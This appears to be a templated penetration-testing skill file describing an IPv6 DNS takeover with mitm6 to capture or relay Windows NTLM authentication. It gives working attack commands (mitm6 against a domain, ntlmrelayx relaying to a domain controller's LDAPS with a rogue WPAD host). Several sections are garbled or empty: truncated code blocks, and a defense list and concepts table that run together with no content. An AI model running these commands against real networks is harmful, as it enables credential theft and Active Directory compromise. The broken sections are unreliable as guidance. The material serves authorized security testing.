Ipv6 Dns Takeover Mitm6

---
name: ipv6-dns-takeover-mitm6
description: >
  Exploit modern Windows environments that prefer IPv6 by using mitm6 to intercept and spoof 
  DHCPv6 and DNS traffic. This skill covers how to poison DNS resolution for the local network, 
  forcing NTLM authentication to a rogue server for credential capture or relay.
domain: cybersecurity
subdomain: penetration-testing
category: Network
difficulty: advanced
estimated_time: "3-5 hours"
mitre_attack:
  tactics: [TA0006, TA0009]
  techniques: [T1557.001, T1040]
platforms: [windows, network]
tags: [ipv6, mitm6, dns-spoofing, ntlm-relay, active-directory, network-pentesting]
tools: [mitm6, impacket-ntlmrelayx]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---

# IPv6 DNS Takeover via mitm6

## When to Use
- When operating in an Active Directory internal network and traditional IPv4 poisoners (like Responder/LLMNR/NBT-NS) are disabled or ineffective.
- To take advantage of Windows' default behavior of preferring IPv6 over IPv4, seizing control of internal DNS resolution to intercept NTLMv2 hashes or relay authentication.


## Prerequisites
- Network access to the target subnet (VPN, pivot, or direct connection)
- Nmap and relevant network scanning tools installed
- Understanding of TCP/IP, common protocols, and network segmentation
- Root/admin access on the attack machine for raw socket operations

## Workflow

### Phase 1: Understanding the IPv6 Preference

```text
# Concept: By default ```

### Phase 2: Running mitm6

```bash
# # mitm6 -d targetdomain.local -i eth0
```

### Phase 3: Setting up the Relay or Capture

```bash
# impacket-ntlmrelayx -6 -t ldaps://domain-controller.targetdomain.local -wh attacker-wpad -l lootdir/

# # impacket-smbserver -smb2support share /tmp/loot (with responder running )
```

### Phase 4: Exploiting the Spoofed Traffic

```text
# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Start mitm6 ] --> B{Traffic Intercepted? ]}
    B -->|Yes| C[Relay NTLM ]
    B -->|No| D[Check Network ]
    C --> E[Execute commands ]
```

## 🔵 Blue Team Detection & Defense
- **Disable IPv6**: **Implement DHCPv6 Snooping**: **Network Segmentation**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Ipv6 Dns Takeover Mitm6 — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- Dirckjanm Blog: [mitm6 - compromising IPv4 networks via IPv6](https://dirkjanm.io/mitm6-compromising-ipv4-networks-via-ipv6/)
- Impacket: [impacket Documentation](https://www.secureauth.com/labs/open-source-tools/impacket)